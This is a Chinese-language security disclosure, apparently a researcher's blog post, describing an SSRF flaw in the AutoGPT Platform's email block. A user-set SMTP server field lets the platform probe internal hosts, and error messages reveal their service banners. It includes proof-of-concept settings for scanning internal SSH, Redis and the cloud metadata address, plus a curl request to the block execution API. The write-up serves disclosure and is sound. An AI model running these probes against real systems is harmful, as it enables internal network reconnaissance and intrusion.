CVE-2026-33234 | 中危 5.0 | GHSA-4jwj-6mg5-wrwf 作者: Pavan Nallamothu
我在 AutoGPT Platform 中逐一映射了所有触及网络的用户可控输入。HTTP 层被封锁得严严实实。私有 IP 范围(10.0.0.0/8、172.16.0.0/12、192.168.0.0/16)、回环地址、云元数据端点——全部被列入黑名单。我从多个角度确认了 HTTP 网关的防护。没有任何东西能穿透。
然后我打开了 SendEmailBlock 的配置模式。
SMTP 服务器字段是一个自由文本输入。不是管理员凭据。不是在部署时一次性设置并锁定的配置。而是任何经过身份验证的用户都可以随意填写的字段。我追踪了代码路径,发现 smtplib.SMTP() 会打开一个原始 TCP 套接字。该连接从不经过承载 IP 黑名单的 HTTP 路径。平台中存在两条出站路径。只有一条受到保护。
我将 SMTP 服务器指向了 localhost:22。
SSH 横幅在错误消息中返回了。smtplib 会连接你给它的任何地址,尝试读取 SMTP 220 问候语,当收到其他内容时,会将原始字节包装在 SMTPConnectError 中。该异常会传播到 AutoGPT 的执行框架中,并清晰地显示在块输出中。我在完全不触及 HTTP 层的情况下,看到了目标的 SSH 版本字符串。
这就是它有趣的地方。smtplib 不仅仅是一个邮件客户端。它是一个带有结构化错误报告的 TCP 横幅抓取器。将其指向端口 6379,你会得到 Redis 的协议签名。将其指向一个关闭的端口,ConnectionRefusedError 会告诉你主机存活但端口已关闭。将其指向 169.254.169.254:80,你可以确认云元数据端点可达。每次连接尝试都会返回不同的、信息丰富的错误。通过一个本应发送邮件的功能实现非盲 SSRF。
SMTPConfig 的设计加剧了这个问题。在安全的架构中,SMTP 服务器地址应该是管理员控制的凭据——设置一次、锁定、永不暴露给用户。相反,它是一个每次执行时的输入。每个经过身份验证的用户都控制着平台在何处打开 TCP 连接。
# SendEmailBlock 配置 - 将 SMTP 服务器设置为内部目标
# 扫描 SSH
smtp_server = "10.0.0.5"
smtp_port = 22
# 错误揭示:"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6"
# 扫描 Redis
smtp_server = "10.0.0.5"
smtp_port = 6379
# 错误揭示:"-ERR unknown command ..."
# 扫描关闭的端口
smtp_server = "10.0.0.5"
smtp_port = 9999
# 错误揭示:"ConnectionRefusedError"(端口关闭,主机存活)
# 访问云元数据
smtp_server = "169.254.169.254"
smtp_port = 80
# 确认元数据端点可达性
我通过块执行 API 验证了完整的攻击链:
# 针对块执行 API 的等效直接测试
curl -X POST https://autogpt-platform/api/blocks/execute \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
-d '{
"block_id": "send_email_block",
"inputs": {
"smtp_server": "10.0.0.5",
"smtp_port": 22,
"to": "[email protected]",
"subject": "test",
"body": "test"
}
}'
# 响应包含带有 SSH 横幅的 SMTPConnectError
graph LR
A[攻击者将 SMTP 服务器设置为内部 IP] --> B[SendEmailBlock 调用 smtplib.SMTP]
B --> C[原始 TCP 连接到目标:端口]
C --> D{服务有响应吗?}
D -->|是| E[横幅被读取为 SMTP 问候语]
E --> F[带有横幅数据的 SMTPConnectError]
F --> G[错误传播到块输出]
D -->|否| H[ConnectionRefused = 端口关闭]
G --> I[攻击者读取服务版本]这所打开的攻击面是巨大的。SSH 横幅揭示了精确的版本(OpenSSH_8.9p1 Ubuntu-3ubuntu0.6)。Redis 泄露了其协议签名。MySQL 发送其版本字符串。每个横幅都是一次等待发生的 CVE 查询。攻击者绘制内部网络地图,识别每个正在运行的服务及其精确版本,然后针对最薄弱的一个发起攻击。这一切都来自一个标记为“SMTP 服务器”的文本字段。
三个缺失的检查造成了这个问题:SMTP 路径上没有 IP 验证,没有端口限制,没有异常清理。平台保护了每一个出站门,唯独漏掉了标记为“外发邮件”的那一个。
我向 Significant Gravitas 报告了该问题。他们立即理解了这一架构性缺口。
修复版本: autogpt-platform-backend 0.6.52(已将 SMTP 服务器验证添加到黑名单强制执行中,并应用了端口限制)